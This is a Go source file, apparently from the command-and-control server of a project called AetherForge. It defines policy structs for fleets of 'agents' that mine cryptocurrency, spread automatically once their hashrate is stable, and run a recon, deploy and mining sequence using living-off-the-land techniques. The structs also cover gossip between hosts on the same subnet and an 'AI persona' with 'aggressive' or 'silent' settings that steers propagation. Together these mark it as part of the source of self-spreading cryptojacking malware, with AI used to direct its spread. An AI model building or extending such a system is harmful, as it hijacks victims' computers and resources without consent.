Files
AetherForge/server/internal/api/server_policy.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

45 lines
1.8 KiB
Go

package api
// ServerPolicy holds Calibrate settings enforced at runtime.
type ServerPolicy struct {
MaxAgents int
LogAgentConnections bool
LogShareSubmissions bool
LogPoolTraffic bool
StrictWalletValidation bool
MaxBuildSizeMB int
PoolReconnectSeconds int
LotlOnionTiers []string
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
// AIControlEnabled replaces adaptive_strategy when true (Fleet AI Control).
AIControlEnabled bool
// AIPersona selects Fleet AI spread propagation temperament (aggressive/silent/…).
AIPersona string
// AtlasLanGossipEnabled relays atlas skip hints between agents on the same /24.
AtlasLanGossipEnabled bool
// FleetRolesEnabled pushes seeder/miner hints on auth and tracks LAN seeders.
FleetRolesEnabled bool
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
HashrateGateSpreadMin int
HashrateGateHPS float64
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
type MiningTierPolicy struct {
TierOrder []string `json:"tier_order,omitempty"`
SkipTiers []string `json:"skip_tiers,omitempty"`
ForceTier string `json:"force_tier,omitempty"`
}